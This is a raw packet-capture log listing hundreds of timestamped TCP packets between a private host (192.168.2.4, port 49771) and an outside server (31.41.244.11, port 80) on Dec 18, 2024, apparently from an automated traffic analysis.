Dec 18, 2024 17:08:23.819756985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.819808960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.819984913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.820033073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.820859909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.820930958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.820964098 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.821006060 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.821923018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.821968079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.822165012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.822212934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.823088884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.823137999 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.823213100 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.823277950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.824359894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.824419022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.824703932 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.824793100 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.825407982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.825414896 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.825462103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.826431036 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.826478958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.826513052 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.826569080 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.827450037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.827497959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.827872038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.827924013 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.828486919 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.828540087 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.828658104 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.828722000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.829617023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.829658031 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.830070972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.830141068 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.830842972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.830892086 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.831017971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.831072092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.831788063 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.831830978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.831967115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.832009077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.832952023 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.833000898 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.833298922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.833352089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.834166050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.834208965 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.834243059 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.834286928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.835170984 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.835232019 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.835391998 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.835441113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.837208033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.837260008 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.837982893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.837990046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.837996960 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.838026047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.838059902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.838546038 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.838737011 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.838741064 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.838793993 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.839440107 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.839607954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.840559006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.840565920 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.840616941 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.840837955 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.840892076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.841767073 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.841811895 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.842328072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.842479944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.842799902 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.842850924 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.843030930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.843074083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.843913078 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.844038963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.844053030 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.844106913 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.845033884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.845082045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.846187115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.846194983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.846246958 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.846637964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.846685886 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.847103119 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.847176075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.847251892 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.847317934 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.848232031 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.848390102 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.848439932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.849335909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.849385023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.849801064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.849857092 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.850338936 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.850408077 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.850984097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.851068974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.851473093 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.851480961 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.851531029 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.852703094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.852785110 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.852813005 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.852859974 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.853662014 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.853764057 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.853821993 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.853918076 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.854708910 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.854758024 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.855086088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.855132103 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.855824947 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.855875969 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.855995893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.856039047 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.857012987 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.857078075 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.857253075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.857321978 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.858143091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.858150959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.858200073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.859188080 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.859237909 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.859570980 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.859651089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.860373974 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.860443115 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.860479116 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.860533953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.861320019 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.861377001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.861507893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.861550093 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.862653971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.862709045 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.862976074 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.863020897 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.863487959 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.863537073 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.864106894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.864195108 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.864686012 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.864756107 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.864768982 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.864819050 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.865688086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.865746975 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.866017103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.866070032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.866748095 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.866803885 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.867528915 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.867584944 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.867814064 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.867872953 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.868314981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.868362904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.868997097 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.869004965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.869060040 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.870167017 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.870219946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.870299101 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.870347023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.871117115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.871243954 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.872344971 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.872359037 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.872425079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.872572899 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.872618914 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.873332977 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.873392105 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.873445034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.873507023 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.874439001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.874500036 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.874877930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.874927044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:23.875457048 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:23.875541925 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.010199070 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.010276079 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.010322094 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.010392904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.010736942 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.010788918 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.010828972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.010901928 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.011923075 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.011986971 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.012197018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.012250900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.012916088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.013030052 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.013998985 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.014007092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.014055967 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.014216900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.014266968 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.015124083 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.015175104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.015691996 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.015755892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.016210079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.016299963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.016336918 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.016417027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.017303944 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.017360926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.017757893 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.017973900 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.018369913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.018418074 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.018898964 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.018945932 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.019493103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.019552946 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.019675016 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.019737959 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.020564079 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.020615101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.020900965 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.021155119 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.021635056 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.021713972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.021779060 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.021823883 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.022738934 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.022785902 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.022856951 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.023240089 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.023835897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.023883104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.024440050 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.024486065 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.024930000 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.024997950 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.025038004 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.025085926 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.026015043 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.026077032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.026245117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.026294947 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.027127981 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.027251005 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.027280092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.027332067 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.028201103 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.028301001 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.028528929 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.028605938 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.029422045 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.029470921 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.029613972 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.029675961 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.030494928 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.030574083 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.030689001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.030807018 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.031618118 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.031667948 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.031713963 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.032649040 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.032830000 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.033272028 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.033329964 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.033775091 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.033850908 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.033878088 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.033943892 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.034869909 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.034918070 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.035099983 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.035171032 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.036075115 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.036137104 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.036144018 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.036181927 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.037177086 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.037259102 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.037566900 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.037636995 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.038175106 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.038237095 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.038310051 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.038353920 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.039237976 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.039304972 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.039619923 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.039674044 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.040260077 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.040308952 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.041177034 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.041225910 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.041363001 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.041374922 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.041414022 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.042398930 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.042478085 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.042934895 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.042982101 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.043677092 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.043728113 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.044514894 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.044570923 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.044668913 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.044676065 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.044723988 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.045680046 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.045737028 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.045861006 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.045912027 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.046821117 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.046880960 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.046964884 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.047032118 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.047919989 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.047962904 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.048343897 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.048387051 CET	49771	80	192.168.2.4	31.41.244.11
Dec 18, 2024 17:08:24.049035072 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.049041033 CET	80	49771	31.41.244.11	192.168.2.4
Dec 18, 2024 17:08:24.049097061 CET	49771	80	192.168.2.4	31.41.244.11
